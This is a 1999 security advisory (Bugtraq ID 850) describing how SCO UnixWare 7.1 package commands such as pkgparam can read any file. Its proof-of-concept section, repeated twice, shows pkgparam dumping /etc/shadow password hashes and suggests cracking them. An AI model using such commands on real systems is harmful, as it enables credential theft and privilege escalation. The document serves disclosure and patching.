SCO UnixWare 'pkg' commands Vulnerability
BID:850
Info
SCO UnixWare 'pkg' commands Vulnerability
| Bugtraq ID: | 850 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Dec 03 1999 12:00AM |
| Updated: | Dec 03 1999 12:00AM |
| Credit: | This vulnerability was posted to the Bugtraq mailing list by Brock Tellier on Fri, 3 Dec 1999. |
| Vulnerable: |
SCO Unixware 7.1 |
| Not Vulnerable: | |
Discussion
SCO UnixWare 'pkg' commands Vulnerability
Certain versions of SCO's Unixware (only version 7.1 was tested) ship with a series of package install/removal utilities which due to design issues under the SCO UnixWare operating system may read any file on the system regardless of their permission set. This is due to the package commands (pkginfo, pkgcat, pkgparam, etc.) having extended access due to Discretionary Access
Controls (DAC) via /etc/security/tcb/privs. This mechanism is explained more thoroughly in the original message to Bugtraq which is listed in full in the 'Credit' section of this vulnerability entry.
Certain versions of SCO's Unixware (only version 7.1 was tested) ship with a series of package install/removal utilities which due to design issues under the SCO UnixWare operating system may read any file on the system regardless of their permission set. This is due to the package commands (pkginfo, pkgcat, pkgparam, etc.) having extended access due to Discretionary Access
Controls (DAC) via /etc/security/tcb/privs. This mechanism is explained more thoroughly in the original message to Bugtraq which is listed in full in the 'Credit' section of this vulnerability entry.
Exploit / POC
SCO UnixWare 'pkg' commands Vulnerability
bash-2.02$ ls -la /bin/pkgparam
-r-xr-xr-x 1 root sys 166784 May 21 1999
/bin/pkgparam
bash-2.02$ /bin/pkgparam -f /etc/shadow
Dy0l3OC7XHsj.:10925::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
*LK*:::::::
*LK*:::::::
*LK*:::::::
BgusHRQZ9MH2U:10878::::::
*LK*:::::::
*LK*:::::::
*LK*:::::::
*LK*:::::::
*LK*:::::::
nv.Xrh2V3vArc:10882::::::
ozT.yeRe1/dxY:10882::::::
RinwpQfqabYbc:10928::::::
bash-2.02$
Now just concatenate the first field of /etc/passwd with this file and run your favorite cracker.
[This exploit is part of the original mail on this subject posted by Brock Tellier, it is listed in it's entirety in the 'Credit' section of this vulnerability entry.]
bash-2.02$ ls -la /bin/pkgparam
-r-xr-xr-x 1 root sys 166784 May 21 1999
/bin/pkgparam
bash-2.02$ /bin/pkgparam -f /etc/shadow
Dy0l3OC7XHsj.:10925::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
*LK*:::::::
*LK*:::::::
*LK*:::::::
BgusHRQZ9MH2U:10878::::::
*LK*:::::::
*LK*:::::::
*LK*:::::::
*LK*:::::::
*LK*:::::::
nv.Xrh2V3vArc:10882::::::
ozT.yeRe1/dxY:10882::::::
RinwpQfqabYbc:10928::::::
bash-2.02$
Now just concatenate the first field of /etc/passwd with this file and run your favorite cracker.
[This exploit is part of the original mail on this subject posted by Brock Tellier, it is listed in it's entirety in the 'Credit' section of this vulnerability entry.]
Solution / Fix
SCO UnixWare 'pkg' commands Vulnerability
Solution:
Upgrade available:
SCO Unixware 7.1
Solution:
Upgrade available:
SCO Unixware 7.1
-
Caldera UnixWare 7.1 erg711743.Z
ftp://ftp.sco.com/pub/security/unixware/sr847997/erg711743.Z
References
SCO UnixWare 'pkg' commands Vulnerability
References:
References: